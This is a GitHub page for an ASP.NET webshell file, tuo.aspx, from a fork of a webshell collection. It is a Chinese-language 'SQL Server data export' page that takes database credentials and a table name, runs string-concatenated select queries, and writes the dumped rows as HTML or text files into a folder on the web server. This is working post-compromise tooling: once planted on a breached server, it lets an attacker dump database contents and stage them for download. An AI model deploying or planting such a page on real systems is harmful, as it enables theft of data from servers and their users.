forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtuo.aspx
307 lines (264 loc) · 10.2 KB
/
tuo.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
<%@ Page Language="C#" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">
protected void Button1_Click(object sender, EventArgs e)
{
string serverIP=txtServerIP.Text;
string database=txtDatabase.Text;
string user=txtUser.Text;
string pass=txtPass.Text;
string tableName=txtTableName.Text;
string colName=txtColName.Text;
string fileName=txtFileName.Text;
if (serverIP != null & database != null & user != null & pass != null & tableName != null & fileName != null)
{
string connectionString = "server="+serverIP+";database="+database+";uid="+user+";pwd="+pass;
System.Data.SqlClient.SqlConnection connection = new System.Data.SqlClient.SqlConnection(connectionString);
try
{
connection.Open();
string sqlStr = "select * from "+tableName;
if (colName!="")
{
sqlStr = "select " + colName + " from " + tableName;
}
System.Data.DataSet ds = new System.Data.DataSet();
System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sqlStr, connection);
System.Data.SqlClient.SqlDataAdapter da = new System.Data.SqlClient.SqlDataAdapter(cmd);
da.Fill(ds);
System.Data.DataTable dataTable = ds.Tables[0];
if (dataTable.Rows.Count==0)
{
lblInfo.Text = "没有需要导出的数据!";
lblInfo.ForeColor = System.Drawing.Color.Blue;
return;
}
string filePath = System.IO.Path.GetDirectoryName(Server.MapPath("DataOutExl.aspx"))+"\\DataOut";
if (!System.IO.Directory.Exists(filePath))
{
System.IO.Directory.CreateDirectory(filePath);
}
bool outType = RadioButton1.Checked;
int sum = dataTable.Rows.Count;
int count = 1;
int size = 0;
int tmpNum = 1;
if (txtNum.Text!="")
{
size = int.Parse(txtNum.Text);
count = sum / size+1;
}
for (int z = 0; z < count; z++)
{
Button1.Text = "正在导出..";
Button1.Enabled = false;
lblInfo.Text = "正在导出第"+(z+1)+"组数据,共"+count+"组数据";
lblInfo.ForeColor = System.Drawing.Color.Blue;
System.IO.StreamWriter file = new System.IO.StreamWriter(filePath+"\\" + (z+1) +"_"+fileName, false, Encoding.UTF8);
bool isFirst = true;
if (outType)
{
file.Write(@"<html><head><meta http-equiv=content-type content='text/html; charset=UNICODE'>
<style>*{font-size:12px;}table{background:#DDD;border:solid 2px #CCC;}td{background:#FFF;}
.th td{background:#EEE;font-weight:bold;height:28px;color:#008;}
div{border:solid 1px #DDD;background:#FFF;padding:3px;color:#00B;}</style>
<title>Export Table</title></head><body>");
file.Write("<table border='0' cellspacing='1' cellpadding='3'>");
}
for (int i = size*z; i < dataTable.Rows.Count; i++)
{
System.Data.DataRow dataRow = dataTable.Rows[i];
if (isFirst)
{
if ( outType)
{
file.Write("<tr class='th'>");
}
for (int j = 0; j < dataTable.Columns.Count; j++)
{
if (outType)
{
file.Write("<td>");
}
file.Write(dataTable.Columns[j].ColumnName + " ");
if (outType)
{
file.Write("</td>");
}
}
if (outType)
{
file.Write("</tr>");
}
isFirst = false;
}
if (outType)
{
file.Write("<tr>");
}
else
{
file.WriteLine(" ");
}
for (int k = 0; k < dataTable.Columns.Count; k++)
{
if (outType)
{
file.Write("<td>");
}
file.Write(dataTable.Rows[i][k] + " ");
if (outType)
{
file.Write("</td>");
}
}
if (outType)
{
file.Write("<tr>");
}
else
{
file.WriteLine(" ");
}
if (tmpNum==size)
break;
tmpNum += 1;
}
if (outType)
{
file.Write("</table>");
file.Write("<br /><div>执行成功!返回" + tmpNum + "行</div>");
file.Write("</body></html>");
}
else
{
file.WriteLine("执行成功!返回" + tmpNum + "行!");
}
file.Dispose();
file.Close();
tmpNum = 1;
}
lblInfo.Text = "导出成功!";
lblInfo.ForeColor = System.Drawing.Color.Blue;
Button1.Enabled = true;
Button1.Text = "开始导出";
}
catch (Exception ex)
{
lblInfo.Text = "导出失败!" + ex.Message;
lblInfo.ForeColor = System.Drawing.Color.Red;
}finally
{
connection.Close();
}
}
else
{
lblInfo.Text = "请先填写相关的连接信息!";
lblInfo.ForeColor = System.Drawing.Color.Red;
}
}
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>无标题页</title>
<style type="text/css">
.style1
{
width: 61%;
}
.style2
{
height: 23px;
}
</style>
</head>
<body>
<form id="form1" runat="server">
<div>
<table class="style1">
<tr>
<td class="style2" colspan="2" align=center>
SQL Server 数据导出
By:<a href="http://hi.baidu.com/闪电小子_tysan">闪电小子</a></td>
</tr>
<tr>
<td>
服务器IP:</td>
<td>
<asp:TextBox ID="txtServerIP" runat="server" Width="172px"></asp:TextBox>
*</td>
</tr>
<tr>
<td>
数据库:</td>
<td>
<asp:TextBox ID="txtDatabase" runat="server" Width="172px"></asp:TextBox>
*</td>
</tr>
<tr>
<td>
用户名:</td>
<td>
<asp:TextBox ID="txtUser" runat="server" Width="172px"></asp:TextBox>
*</td>
</tr>
<tr>
<td>
密码:</td>
<td>
<asp:TextBox ID="txtPass" runat="server" Width="172px"></asp:TextBox>
*</td>
</tr>
<tr>
<td>
表名:</td>
<td>
<asp:TextBox ID="txtTableName" runat="server" Width="172px"></asp:TextBox>
*</td>
</tr>
<tr>
<td>
列名:</td>
<td>
<asp:TextBox ID="txtColName" runat="server" Width="172px"></asp:TextBox>
列名之间请用‘,’分开,不写代表全部</td>
</tr>
<tr>
<td>
分组行数:</td>
<td>
<asp:TextBox ID="txtNum" runat="server" Width="172px"></asp:TextBox>
对于数据多的时候可以使用</td>
</tr>
<tr>
<td>
保存文件名:</td>
<td>
<asp:TextBox ID="txtFileName" runat="server" Width="172px"></asp:TextBox>
*</td>
</tr>
<tr>
<td>
文件格式:</td>
<td>
<asp:RadioButton ID="RadioButton1" runat="server" GroupName="type" Checked="true" Text="html" />
<asp:RadioButton ID="RadioButton2" runat="server" GroupName="type" Text="txt" />
</td>
</tr>
<tr>
<td class="style2" colspan="2" align="center">
<asp:Button ID="Button1" runat="server" Text="开始导出" onclick="Button1_Click" />
</td>
</tr>
<tr>
<td colspan="2">
<asp:Label ID="lblInfo" runat="server" Text=""></asp:Label>
</td>
</tr>
</table>
</div>
</form>
</body>
</html>